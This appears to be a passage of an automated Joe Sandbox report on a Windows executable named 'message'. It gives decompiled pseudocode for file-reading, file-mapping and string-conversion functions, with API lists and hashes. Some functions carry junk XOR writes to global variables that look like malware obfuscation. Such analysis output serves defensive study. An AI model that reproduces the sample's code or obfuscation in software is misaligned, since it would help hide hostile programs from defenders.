							_t119 =  *(_t126 + 0x64) * 0x44;
							_t53 = _t83;
							_t130 = _t53 *  *0x431e30 >> 0x20;
							 *0x431e34 = 0x1b;
							 *0x431e30 = _t53 *  *0x431e30 * 0x0000006f | 0x0000001e;
							if(_t119 > 0) {
								_t78 =  *((intOrPtr*)(_t135 + 0x150));
								_t132 = _t126 + _t130;
								_t124 = (0xf0f0f0f1 * (_t119 - 1) >> 0x20 >> 6) + 1;
								do {
									_t66 = 0;
									_t91 = _t132;
									do {
										_t113 =  *_t91;
										_t91 = _t91 + 2;
										 *((char*)(_t135 + _t66 + 0x18)) = _t113;
										_t66 = _t66 + 1;
									} while (_t66 <= 0x44);
									 *((char*)(_t135 + 0x6c)) = 0;
									E0040B300(_t78, _t135 + 0x24, 0, 1, 1);
									_t132 = _t132 + 0x44;
									_t124 = _t124 - 1;
								} while (_t124 != 0);
								_t83 =  *0x431e28; // 0x42
								_t76 =  *(_t135 + 0x14);
							}
							_t57 =  *0x431e2c; // 0xf07c0042
							 *0x431e2c = (_t83 & 0x000000ff) + _t57 &  *0x431e34 + 0x00000076;
							CloseHandle( *(_t135 + 0x10));
							_t60 =  *0x431e30; // 0x42
							 *0x431e30 = _t60 ^ 0x0000005a;
							UnmapViewOfFile(_t126);
							_t111 =  *0x431e34; // 0x42
							 *0x431e28 = 0x47 - _t111;
							_t89 =  *0x431e2c; // 0xf07c0042
							 *0x431e2c = _t89 ^ 0x00006970;
							CloseHandle(_t76);
						} else {
							_t133 =  *0x431e2c; // 0xf07c0042
							 *0x431e2c = _t133 ^ 0x00007dcf;
							CloseHandle(_t76);
							_t70 =  *0x431e28; // 0x42
							 *0x431e30 = 0x47 - _t70;
							 *0x431e34 = 0x5b;
							 *0x431e2c = _t70 & 0x000000ff ^ 0x0000002f;
							CloseHandle(_t117);
						}
						goto L13;
					} else {
						CloseHandle(_t117);
						return E00424873(0,  *((intOrPtr*)(_t135 + 0x134)));
					}
				}
			}

0x00415696
0x004156a9
0x004156c3
0x004156c8
0x004156cc
0x0041588e
0x004158a3
0x004156d2
0x004156e4
0x004156e8
0x004156ec
0x0041571d
0x00415721
0x0041576a
0x0041576f
0x00415784
0x0041578c
0x0041578f
0x004157a1
0x004157b5
0x004157bd
0x004157c7
0x004157d0
0x004157d5
0x004157d7
0x004157de
0x004157ed
0x004157f0
0x004157f0
0x004157f2
0x004157f4
0x004157f4
0x004157f6
0x004157f9
0x004157fd
0x004157fe
0x00415810
0x00415815
0x0041581a
0x0041581d
0x0041581d
0x00415820
0x00415826
0x00415826
0x0041582a
0x0041584b
0x00415851
0x00415853
0x0041585b
0x00415860
0x00415866
0x00415870
0x00415876
0x00415883
0x00415889
0x00415723
0x00415723
0x00415736
0x0041573c
0x0041573e
0x0041574e
0x00415754
0x0041575d
0x00415763
0x00415763
0x00000000
0x004156ee
0x004156ef
0x0041570b
0x0041570b
0x004156ec

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000004,00000080,00000000,?), ref: 004156BD
CreateFileMappingA.KERNEL32 ref: 004156DE
CloseHandle.KERNEL32(00000000), ref: 004156EF
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000,74E481D0), ref: 00415717
CloseHandle.KERNEL32(00000000), ref: 0041573C
CloseHandle.KERNEL32(00000000), ref: 00415763

Strings

G@,, xrefs: 00415696

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: CloseFileHandle$Create$MappingView
String ID: G@,
API String ID: 3943831188-3496681718
Opcode ID: 787c517364cca91a25c3f6c6ae074f02f0c4f93847fde26aceba2bb5773ca060
Instruction ID: eb472704c8537460521009dc0dce809b9dfd64f6dddd53decf9b69cebded8fb2
Opcode Fuzzy Hash: 787c517364cca91a25c3f6c6ae074f02f0c4f93847fde26aceba2bb5773ca060
Instruction Fuzzy Hash: 97513D352043909BD321EB3AEC927DBBBD5ABCA310F54543AE9C4973B2C6B69405CB1D

Uniqueness

Uniqueness Score: -1.00%

Function 0042A027, Relevance: 16.8, APIs: 11, Instructions: 299
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 75%

			E0042A027(void* __ebx, void* __edi, int __esi, void* __eflags) {
				signed int _t119;
				intOrPtr _t120;
				int _t122;
				char* _t125;
				int _t132;
				signed int _t134;
				int _t137;
				int _t138;
				short* _t160;
				short* _t163;
				int _t164;
				signed int _t165;
				long _t169;
				signed int _t172;
				int _t181;
				char* _t183;
				int _t184;
				signed int _t186;
				int _t187;
				int _t190;
				void* _t192;
				short* _t193;
				char* _t195;
				char* _t196;
				signed int _t199;

				_t185 = __esi;
				_push(0x38);
				_push(0x42eb20);
				E0042664C(__ebx, __edi, __esi);
				_t199 =  *0x432264; // 0x1
				if(_t199 == 0) {
					_t185 = 1;
					if(LCMapStringW(0, 0x100, 0x42eb1c, 1, 0, 0) == 0) {
						_t169 = GetLastError();
						__eflags = _t169 - 0x78;
						if(_t169 == 0x78) {
							 *0x432264 = 2;
						}
					} else {
						 *0x432264 = 1;
					}
				}
				if( *(_t192 + 0x14) <= 0) {
					L11:
					_t119 =  *0x432264; // 0x1
					if(_t119 == 2 || _t119 == 0) {
						 *(_t192 - 0x28) = 0;
						_t183 = 0;
						 *(_t192 - 0x3c) = 0;
						__eflags =  *(_t192 + 8);
						if( *(_t192 + 8) == 0) {
							_t138 =  *0x4323d8; // 0x0
							 *(_t192 + 8) = _t138;
						}
						__eflags =  *(_t192 + 0x20);
						if( *(_t192 + 0x20) == 0) {
							_t137 =  *0x4323e8; // 0x0
							 *(_t192 + 0x20) = _t137;
						}
						_t120 = E0042C8B2( *(_t192 + 8));
						 *((intOrPtr*)(_t192 - 0x40)) = _t120;
						__eflags = _t120 - 0xffffffff;
						if(_t120 != 0xffffffff) {
							__eflags = _t120 -  *(_t192 + 0x20);
							if(__eflags == 0) {
								_t186 = LCMapStringA( *(_t192 + 8),  *(_t192 + 0xc),  *(_t192 + 0x10),  *(_t192 + 0x14),  *(_t192 + 0x18),  *(_t192 + 0x1c));
								L61:
								__eflags =  *(_t192 - 0x28);
								if(__eflags != 0) {
									_push( *(_t192 - 0x28));
									E004255BE(0, _t183, _t186, __eflags);
								}
								_t122 = _t186;
								goto L64;
							}
							_push(0);
							_push(0);
							_t175 = _t192 + 0x14;
							_push(_t192 + 0x14);
							_push( *(_t192 + 0x10));
							_push(_t120);
							_push( *(_t192 + 0x20));
							_t125 = E0042C8F5(0, _t183, _t185, __eflags);
							_t195 =  &(_t193[0xc]);
							 *(_t192 - 0x28) = _t125;
							__eflags = _t125;
							if(_t125 == 0) {
								goto L46;
							}
							_t187 = LCMapStringA( *(_t192 + 8),  *(_t192 + 0xc), _t125,  *(_t192 + 0x14), 0, 0);
							 *(_t192 - 0x24) = _t187;
							__eflags = _t187;
							if(_t187 == 0) {
								_t186 =  *(_t192 - 0x48);
								L58:
								__eflags =  *(_t192 - 0x3c);
								if(__eflags != 0) {
									_push(_t183);
									E004255BE(0, _t183, _t186, __eflags);
								}
								goto L61;
							}
							 *(_t192 - 4) = 0;
							E004254B0(_t126 + 0x00000003 & 0xfffffffc, _t175);
							 *(_t192 - 0x18) = _t195;
							_t183 = _t195;
							 *(_t192 - 0x44) = _t183;
							E00425F70(_t183, 0, _t187);
							_t196 =  &(_t195[0xc]);
							 *(_t192 - 4) =  *(_t192 - 4) | 0xffffffff;
							__eflags = _t183;
							if(_t183 != 0) {
								L54:
								_t132 = LCMapStringA( *(_t192 + 8),  *(_t192 + 0xc),  *(_t192 - 0x28),  *(_t192 + 0x14), _t183,  *(_t192 - 0x24));
								 *(_t192 - 0x24) = _t132;
								__eflags = _t132;
								if(__eflags != 0) {
									_push( *(_t192 + 0x1c));
									_push( *(_t192 + 0x18));
									_push(_t192 - 0x24);
									_push(_t183);
									_push( *(_t192 + 0x20));
									_push( *((intOrPtr*)(_t192 - 0x40)));
									_t134 = E0042C8F5(0, _t183, _t187, __eflags);
									asm("sbb esi, esi");
									_t186 =  ~( ~_t134);
									goto L58;
								}
								goto L55;
							} else {
								_t183 = E004263B4( *(_t192 - 0x24));
								__eflags = _t183;
								if(_t183 == 0) {
									L55:
									_t186 = 0;
									goto L58;
								}
								E00425F70(_t183, 0,  *(_t192 - 0x24));
								_t196 =  &(_t196[0xc]);
								 *(_t192 - 0x3c) = 1;
								goto L54;
							}
						} else {
							goto L46;
						}
					} else {
						if(_t119 != 1) {
							L46:
							_t122 = 0;
							L64:
							return E00426687(_t122);
						}
						_t184 = 0;
						 *(_t192 - 0x2c) = 0;
						 *(_t192 - 0x38) = 0;
						 *(_t192 - 0x34) = 0;
						if( *(_t192 + 0x20) == 0) {
							_t164 =  *0x4323e8; // 0x0
							 *(_t192 + 0x20) = _t164;
						}
						_t190 = MultiByteToWideChar( *(_t192 + 0x20), 1 + (0 |  *((intOrPtr*)(_t192 + 0x24)) != 0x00000000) * 8,  *(_t192 + 0x10),  *(_t192 + 0x14), 0, 0);
						 *(_t192 - 0x30) = _t190;
						if(_t190 == 0) {
							goto L46;
						} else {
							 *(_t192 - 4) = 1;
							E004254B0(_t190 + _t190 + 0x00000003 & 0xfffffffc, _t172);
							 *(_t192 - 0x18) = _t193;
							 *(_t192 - 0x1c) = _t193;
							 *(_t192 - 4) =  *(_t192 - 4) | 0xffffffff;
							if( *(_t192 - 0x1c) != 0) {
								L21:
								if(MultiByteToWideChar( *(_t192 + 0x20), 1,  *(_t192 + 0x10),  *(_t192 + 0x14),  *(_t192 - 0x1c), _t190) == 0) {
									L36:
									_t219 =  *(_t192 - 0x34);
									if( *(_t192 - 0x34) != 0) {
										_push( *(_t192 - 0x20));
										E004255BE(0, _t184, _t190, _t219);
									}
									_t220 =  *(_t192 - 0x38);
									if( *(_t192 - 0x38) != 0) {
										_push( *(_t192 - 0x1c));
										E004255BE(0, _t184, _t190, _t220);
									}
									_t122 = _t184;
									goto L64;
								}
								_t184 = LCMapStringW( *(_t192 + 8),  *(_t192 + 0xc),  *(_t192 - 0x1c), _t190, 0, 0);
								 *(_t192 - 0x2c) = _t184;
								if(_t184 == 0) {
									goto L36;
								}
								if(( *(_t192 + 0xd) & 0x00000004) == 0) {
									 *(_t192 - 4) = 2;
									E004254B0(_t184 + _t184 + 0x00000003 & 0xfffffffc, _t172);
									 *(_t192 - 0x18) = _t193;
									 *(_t192 - 0x20) = _t193;
									 *(_t192 - 4) =  *(_t192 - 4) | 0xffffffff;
									__eflags =  *(_t192 - 0x20);
									if( *(_t192 - 0x20) != 0) {
										L31:
										__eflags = LCMapStringW( *(_t192 + 8),  *(_t192 + 0xc),  *(_t192 - 0x1c), _t190,  *(_t192 - 0x20), _t184);
										if(__eflags != 0) {
											_push(0);
											_push(0);
											__eflags =  *(_t192 + 0x1c);
											if(__eflags != 0) {
												_push( *(_t192 + 0x1c));
												_push( *(_t192 + 0x18));
											} else {
												_push(0);
												_push(0);
											}
											_t184 = WideCharToMultiByte( *(_t192 + 0x20), 0,  *(_t192 - 0x20), _t184, ??, ??, ??, ??);
										}
										goto L36;
									} else {
										_t160 = E004263B4(_t184 + _t184);
										 *(_t192 - 0x20) = _t160;
										__eflags = _t160;
										if(__eflags == 0) {
											goto L36;
										}
										 *(_t192 - 0x34) = 1;
										goto L31;
									}
								}
								if( *(_t192 + 0x1c) != 0 && _t184 <=  *(_t192 + 0x1c)) {
									LCMapStringW( *(_t192 + 8),  *(_t192 + 0xc),  *(_t192 - 0x1c), _t190,  *(_t192 + 0x18),  *(_t192 + 0x1c));
								}
								goto L36;
							} else {
								_t163 = E004263B4(_t190 + _t190);
								_pop(_t172);
								 *(_t192 - 0x1c) = _t163;
								if(_t163 == 0) {
									goto L46;
								}
								 *(_t192 - 0x38) = 1;
								goto L21;
							}
						}
					}
				}
				_t181 =  *(_t192 + 0x14);
				_t165 =  *(_t192 + 0x10);
				while(1) {
					_t172 = _t181 - 1;
					if( *_t165 == 0) {
						break;
					}
					_t165 = _t165 + 1;
					if(_t172 != 0) {
						continue;
					}
					_t172 = _t172 | 0xffffffff;
					break;
				}
				 *(_t192 + 0x14) =  *(_t192 + 0x14) + (_t165 | 0xffffffff) - _t172;
				goto L11;
			}

0x0042a027
0x0042a027
0x0042a029
0x0042a02e
0x0042a035
0x0042a03b
0x0042a041
0x0042a056
0x0042a060
0x0042a066
0x0042a069
0x0042a06b
0x0042a06b
0x0042a058
0x0042a058
0x0042a058
0x0042a056
0x0042a078
0x0042a095
0x0042a095
0x0042a09d
0x0042a27f
0x0042a282
0x0042a284
0x0042a287
0x0042a28a
0x0042a28c
0x0042a291
0x0042a291
0x0042a294
0x0042a297
0x0042a299
0x0042a29e
0x0042a29e
0x0042a2a4
0x0042a2aa
0x0042a2ad
0x0042a2b0
0x0042a2b9
0x0042a2bc
0x0042a3c8
0x0042a3ca
0x0042a3ca
0x0042a3cd
0x0042a3cf
0x0042a3d2
0x0042a3d7
0x0042a3d8
0x00000000
0x0042a3d8
0x0042a2c2
0x0042a2c3
0x0042a2c4
0x0042a2c7
0x0042a2c8
0x0042a2cb
0x0042a2cc
0x0042a2cf
0x0042a2d4
0x0042a2d7
0x0042a2da
0x0042a2dc
0x00000000
0x00000000
0x0042a2f0
0x0042a2f2
0x0042a2f5
0x0042a2f7
0x0042a39f
0x0042a3a2
0x0042a3a2
0x0042a3a5
0x0042a3a7
0x0042a3a8
0x0042a3ad
0x00000000
0x0042a3a5
0x0042a2fd
0x0042a306
0x0042a30b
0x0042a30e
0x0042a310
0x0042a316
0x0042a31b
0x0042a330
0x0042a334
0x0042a336
0x0042a35b
0x0042a36b
0x0042a371
0x0042a374
0x0042a376
0x0042a37c
0x0042a37f
0x0042a385
0x0042a386
0x0042a387
0x0042a38a
0x0042a38d
0x0042a399
0x0042a39b
0x00000000
0x0042a39b
0x00000000
0x0042a338
0x0042a341
0x0042a343
0x0042a345
0x0042a378
0x0042a378
0x00000000
0x0042a378
0x0042a34c
0x0042a351
0x0042a354
0x00000000
0x0042a354
0x00000000
0x00000000
0x00000000
0x0042a0ab
0x0042a0ae
0x0042a2b2
0x0042a2b2
0x0042a3da
0x0042a3e2
0x0042a3e2
0x0042a0b4
0x0042a0b6
0x0042a0b9
0x0042a0bc
0x0042a0c2
0x0042a0c4
0x0042a0c9
0x0042a0c9
0x0042a0ed
0x0042a0ef
0x0042a0f4
0x00000000
0x0042a0fa
0x0042a0fa
0x0042a10a
0x0042a10f
0x0042a114
0x0042a117
0x0042a13b
0x0042a159
0x0042a170
0x0042a25c
0x0042a25c
0x0042a25f
0x0042a261
0x0042a264
0x0042a269
0x0042a26a
0x0042a26d
0x0042a26f
0x0042a272
0x0042a277
0x0042a278
0x00000000
0x0042a278
0x0042a188
0x0042a18a
0x0042a18f
0x00000000
0x00000000
0x0042a199
0x0042a1c8
0x0042a1d8
0x0042a1dd
0x0042a1e2
0x0042a1e5
0x0042a206
0x0042a209
0x0042a223
0x0042a237
0x0042a239
0x0042a23b
0x0042a23c
0x0042a23d
0x0042a240
0x0042a246
0x0042a249
0x0042a242
0x0042a242
0x0042a243
0x0042a243
0x0042a25a
0x0042a25a
0x00000000
0x0042a20b
0x0042a20f
0x0042a215
0x0042a218
0x0042a21a
0x00000000
0x00000000
0x0042a21c
0x00000000
0x0042a21c
0x0042a209
0x0042a19e
0x0042a1bd
0x0042a1bd
0x00000000
0x0042a13d
0x0042a141
0x0042a146
0x0042a147
0x0042a14c
0x00000000
0x00000000
0x0042a152
0x00000000
0x0042a152
0x0042a13b
0x0042a0f4
0x0042a09d
0x0042a07a
0x0042a07d
0x0042a080
0x0042a080
0x0042a083
0x00000000
0x00000000
0x0042a085
0x0042a088
0x00000000
0x00000000
0x0042a08a
0x00000000
0x0042a08a
0x0042a092
0x00000000

APIs

LCMapStringW.KERNEL32(00000000,00000100,0042EB1C,00000001,00000000,00000000,0042EB20,00000038,0042B0F7,00000100,00000020,00000100,?,00000100,00000000,00000001), ref: 0042A04E
GetLastError.KERNEL32 ref: 0042A060
MultiByteToWideChar.KERNEL32(?,00000000,0042B335,?,00000000,00000000,0042EB20,00000038,0042B0F7,00000100,00000020,00000100,?,00000100,00000000,00000001), ref: 0042A0E7
MultiByteToWideChar.KERNEL32(?,00000001,0042B335,?,?,00000000), ref: 0042A168
LCMapStringW.KERNEL32(00000000,00000000,?,00000000,00000000,00000000), ref: 0042A182
LCMapStringW.KERNEL32(00000000,00000000,?,00000000,?,?), ref: 0042A1BD

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: String$ByteCharMultiWide$ErrorLast
String ID:
API String ID: 1775797328-0
Opcode ID: 10a0bccdb0679c3e55893d40974a1b462b59fb3c3159313397f1de5072d15da0
Instruction ID: 3988559e70c465a35b60d6fc3080959d3b10041c74b9751cd7113821b118c49c
Opcode Fuzzy Hash: 10a0bccdb0679c3e55893d40974a1b462b59fb3c3159313397f1de5072d15da0
Instruction Fuzzy Hash: 5FB18472A00129EFCF219FA1EC849EE7B75FF08354F54412AFD11A2260D7398D61DB6A

Uniqueness

Uniqueness Score: -1.00%

Function 0041DF40, Relevance: 16.6, APIs: 11, Instructions: 123
memoryfileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041DF40(long _a4, long* _a8, CHAR* _a12) {
				long _t10;
				void* _t12;
				signed char _t20;
				long* _t31;
				signed char _t32;
				signed char _t35;
				signed int _t38;
				signed char _t41;
				signed char _t44;
				signed char _t46;
				void* _t49;
				void** _t54;

				_t54 = _a4;
				if(_t54 == 0) {
					L12:
					return 0;
				} else {
					_t31 = _a8;
					if(_t31 == 0) {
						goto L12;
					} else {
						 *_t54 = 0;
						 *_t31 = 0;
						_t49 = CreateFileA(_a12, 1, 1, 0, 3, 0, 0);
						if(_t49 == 0xffffffff) {
							L5:
							return 0;
						} else {
							_t10 = GetFileSize(_t49, 0);
							 *_t31 = _t10;
							if(_t10 != 0) {
								_t12 = HeapAlloc(GetProcessHeap(), 8, _t10);
								 *_t54 = _t12;
								if(_t12 != 0) {
									 *0x431f20 =  *0x431f20 ^ 0x00007dcf;
									if(ReadFile(_t49,  *_t54,  *_t31,  &_a4, 0) == 0 || _a4 !=  *_t31) {
										CloseHandle(_t49);
										HeapFree(GetProcessHeap(), 0,  *_t54);
										_t35 =  *0x431f1c; // 0x0
										_t20 = _t35 + 0x6c;
										 *0x431f24 = _t20;
										 *0x431f20 = _t35 & 0x000000ff | 0x00000020;
										 *0x431f28 = 0xff;
										 *_t54 = 0;
										 *_t31 = 0;
										_t44 =  *0x431f28; // 0x0
										_t32 =  *0x431f1c; // 0x0
										_t38 =  *0x431f20; // 0x0
										 *0x431f1c = _t32 | _t44 & 0x000000e4;
										 *0x431f20 = _t38 - ((_t20 + 0x0000000b & 0x00000018 | 0x000000c5) & 0x000000ff);
										return 0;
									} else {
										_t46 =  *0x431f1c; // 0x0
										_t41 =  *0x431f24; // 0x0
										 *0x431f28 = 0x22;
										 *0x431f24 = _t41 | _t46 & 0x000000e4;
										CloseHandle(_t49);
										return 1;
									}
								} else {
									CloseHandle(_t49);
									return 0;
								}
							} else {
								CloseHandle(_t49);
								goto L5;
							}
						}
					}
				}
			}

0x0041df42
0x0041df48
0x0041e09e
0x0041e0a1
0x0041df4e
0x0041df4e
0x0041df54
0x00000000
0x0041df5a
0x0041df6b
0x0041df72
0x0041df7e
0x0041df83
0x0041df9b
0x0041dfa0
0x0041df85
0x0041df88
0x0041df90
0x0041df92
0x0041dfae
0x0041dfb6
0x0041dfb8
0x0041dfc8
0x0041dfe8
0x0041e024
0x0041e032
0x0041e038
0x0041e040
0x0041e042
0x0041e04f
0x0041e055
0x0041e05e
0x0041e064
0x0041e06a
0x0041e070
0x0041e076
0x0041e08d
0x0041e093
0x0041e09c
0x0041dff2
0x0041dff2
0x0041dff8
0x0041e004
0x0041e00d
0x0041e013
0x0041e022
0x0041e022
0x0041dfba
0x0041dfbb
0x0041dfc7
0x0041dfc7
0x0041df94
0x0041df95
0x00000000
0x0041df95
0x0041df92
0x0041df83
0x0041df54

APIs

CreateFileA.KERNEL32(00000000,00000001,00000001,00000000,00000003,00000000,00000000,74E5F560,00000001,00000000,004123D8,?,?,?), ref: 0041DF78
GetFileSize.KERNEL32(00000000,00000000), ref: 0041DF88
CloseHandle.KERNEL32(00000000), ref: 0041DF95
GetProcessHeap.KERNEL32(00000008,00000000,00000000), ref: 0041DFAB
HeapAlloc.KERNEL32(00000000), ref: 0041DFAE
CloseHandle.KERNEL32(00000000), ref: 0041DFBB
ReadFile.KERNEL32(00000000,00000000,?,?,00000000), ref: 0041DFE0
CloseHandle.KERNEL32(00000000,?,?,00000000), ref: 0041E013
CloseHandle.KERNEL32(00000000,?,?,00000000), ref: 0041E024
GetProcessHeap.KERNEL32(00000000,00000000,?,?,00000000), ref: 0041E02F
HeapFree.KERNEL32(00000000,?,?,00000000), ref: 0041E032

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: CloseHandleHeap$File$Process$AllocCreateFreeReadSize
String ID:
API String ID: 851827180-0
Opcode ID: 60d014867e17b0a3a17904d24a01199ccef4cdd3278f6ba1154e53a9580f930a
Instruction ID: e2e57060ce1e7308e866bc93ed0c156a6316686fabef653f62ff15feab7bbeed
Opcode Fuzzy Hash: 60d014867e17b0a3a17904d24a01199ccef4cdd3278f6ba1154e53a9580f930a
Instruction Fuzzy Hash: 124191753052109FD7208F69EC85BB67BE8EB8A721F10143AF581C72A1D7B594478B2D

Uniqueness

Uniqueness Score: -1.00%

Function 0042C8F5, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 169
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 86%

			E0042C8F5(void* __ebx, void* __edi, int __esi, void* __eflags) {
				intOrPtr _t54;
				int _t56;
				char* _t57;
				int _t68;
				char* _t69;
				int _t70;
				int _t73;
				void* _t77;
				int _t81;
				short* _t82;
				void* _t97;
				short* _t98;

				_t94 = __esi;
				_push(0x38);
				_push(0x42f660);
				E0042664C(__ebx, __edi, __esi);
				_t54 =  *0x4310d8; // 0x2c0d4047
				 *((intOrPtr*)(_t97 - 0x1c)) = _t54;
				 *(_t97 - 0x34) = 0;
				 *(_t97 - 0x44) = 0;
				_t81 =  *( *(_t97 + 0x14));
				 *(_t97 - 0x40) = _t81;
				 *(_t97 - 0x3c) = 0;
				_t56 =  *(_t97 + 8);
				if(_t56 ==  *(_t97 + 0xc)) {
					_t82 =  *(_t97 - 0x48);
					goto L31;
				} else {
					_t85 = _t97 - 0x30;
					if(GetCPInfo(_t56, _t97 - 0x30) != 0 &&  *(_t97 - 0x30) == 1 && GetCPInfo( *(_t97 + 0xc), _t97 - 0x30) != 0 &&  *(_t97 - 0x30) == 1) {
						 *(_t97 - 0x3c) = 1;
					}
					if( *(_t97 - 0x3c) == 0) {
						_t94 =  *(_t97 - 0x38);
					} else {
						if(_t81 == 0xffffffff) {
							_t77 = E004263F0( *(_t97 + 0x10));
							_pop(_t85);
							_t94 = _t77 + 1;
							__eflags = _t94;
						} else {
							_t94 = _t81;
						}
						 *(_t97 - 0x38) = _t94;
					}
					if( *(_t97 - 0x3c) != 0) {
						L14:
						 *(_t97 - 4) = 0;
						E004254B0(_t94 + _t94 + 0x00000003 & 0xfffffffc, _t85);
						 *(_t97 - 0x18) = _t98;
						_t82 = _t98;
						 *(_t97 - 0x48) = _t82;
						E00425F70(_t82, 0, _t94 + _t94);
						 *(_t97 - 4) =  *(_t97 - 4) | 0xffffffff;
						_t111 = _t82;
						if(_t82 != 0) {
							L19:
							_t68 = MultiByteToWideChar( *(_t97 + 8), 1,  *(_t97 + 0x10),  *(_t97 - 0x40), _t82, _t94);
							__eflags = _t68;
							if(_t68 == 0) {
								L31:
								__eflags =  *(_t97 - 0x44);
								if(__eflags != 0) {
									_push(_t82);
									E004255BE(_t82, 0, _t94, __eflags);
								}
								_t57 =  *(_t97 - 0x34);
								goto L34;
							}
							__eflags =  *(_t97 + 0x18);
							if( *(_t97 + 0x18) == 0) {
								__eflags =  *(_t97 - 0x3c);
								if(__eflags != 0) {
									L25:
									_push(_t94);
									_push(1);
									_t69 = E0042AF1A(_t82, 0, _t94, __eflags);
									 *(_t97 - 0x34) = _t69;
									__eflags = _t69;
									if(_t69 != 0) {
										_t70 = WideCharToMultiByte( *(_t97 + 0xc), 0, _t82, _t94, _t69, _t94, 0, 0);
										__eflags = _t70;
										if(__eflags != 0) {
											__eflags =  *(_t97 - 0x40) - 0xffffffff;
											if( *(_t97 - 0x40) != 0xffffffff) {
												 *( *(_t97 + 0x14)) = _t70;
											}
										} else {
											_push( *(_t97 - 0x34));
											E004255BE(_t82, 0, _t94, __eflags);
											 *(_t97 - 0x34) = 0;
										}
									}
									goto L31;
								}
								_t94 = WideCharToMultiByte( *(_t97 + 0xc), 0, _t82, _t94, 0, 0, 0, 0);
								__eflags = _t94;
								if(__eflags == 0) {
									goto L31;
								}
								goto L25;
							}
							_t73 = WideCharToMultiByte( *(_t97 + 0xc), 0, _t82, _t94,  *(_t97 + 0x18),  *(_t97 + 0x1c), 0, 0);
							__eflags = _t73;
							if(_t73 != 0) {
								 *(_t97 - 0x34) =  *(_t97 + 0x18);
							}
							goto L31;
						} else {
							_push(_t94);
							_push(2);
							_t82 = E0042AF1A(_t82, 0, _t94, _t111);
							if(_t82 != 0) {
								 *(_t97 - 0x44) = 1;
								goto L19;
							}
							goto L17;
						}
					} else {
						_t94 = MultiByteToWideChar( *(_t97 + 8), 1,  *(_t97 + 0x10), _t81, 0, 0);
						 *(_t97 - 0x38) = _t94;
						if(_t94 == 0) {
							L17:
							_t57 = 0;
							L34:
							return E00426687(E00424873(_t57,  *((intOrPtr*)(_t97 - 0x1c))));
						}
						goto L14;
					}
				}
			}

0x0042c8f5
0x0042c8f5
0x0042c8f7
0x0042c8fc
0x0042c901
0x0042c906
0x0042c90b
0x0042c90e
0x0042c914
0x0042c916
0x0042c919
0x0042c91c
0x0042c922
0x0042ca9b
0x00000000
0x0042c928
0x0042c928
0x0042c937
0x0042c952
0x0042c952
0x0042c95c
0x0042c978
0x0042c95e
0x0042c961
0x0042c96a
0x0042c96f
0x0042c972
0x0042c972
0x0042c963
0x0042c963
0x0042c963
0x0042c973
0x0042c973
0x0042c97e
0x0042c99a
0x0042c99a
0x0042c9a6
0x0042c9ab
0x0042c9ae
0x0042c9b0
0x0042c9b9
0x0042c9c1
0x0042c9de
0x0042c9e0
0x0042ca00
0x0042ca0d
0x0042ca13
0x0042ca15
0x0042ca9e
0x0042ca9e
0x0042caa1
0x0042caa3
0x0042caa4
0x0042caa9
0x0042caaa
0x00000000
0x0042caaa
0x0042ca1b
0x0042ca1e
0x0042ca40
0x0042ca43
0x0042ca5b
0x0042ca5b
0x0042ca5c
0x0042ca5e
0x0042ca65
0x0042ca68
0x0042ca6a
0x0042ca76
0x0042ca7c
0x0042ca7e
0x0042ca8e
0x0042ca92
0x0042ca97
0x0042ca97
0x0042ca80
0x0042ca80
0x0042ca83
0x0042ca89
0x0042ca89
0x0042ca7e
0x00000000
0x0042ca6a
0x0042ca55
0x0042ca57
0x0042ca59
0x00000000
0x00000000
0x00000000
0x0042ca59
0x0042ca2e
0x0042ca34
0x0042ca36
0x0042ca3b
0x0042ca3b
0x00000000
0x0042c9e2
0x0042c9e2
0x0042c9e3
0x0042c9ec
0x0042c9f0
0x0042c9f9
0x00000000
0x0042c9f9
0x00000000
0x0042c9f0
0x0042c980
0x0042c991
0x0042c993
0x0042c998
0x0042c9f2
0x0042c9f2
0x0042caad
0x0042cabd
0x0042cabd
0x00000000
0x0042c998
0x0042c97e

APIs

GetCPInfo.KERNEL32(00000000,?,0042F660,00000038,0042B6ED,?,00000000,00000000,0042B335,00000000,00000000,0042EFF0,0000001C,0042B0D3,00000001,00000020), ref: 0042C933
GetCPInfo.KERNEL32(00000000,00000001), ref: 0042C946
_strlen.LIBCMT ref: 0042C96A
MultiByteToWideChar.KERNEL32(00000000,00000001,0042B335,?,00000000,00000000), ref: 0042C98B

Strings

G@,, xrefs: 0042C901

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
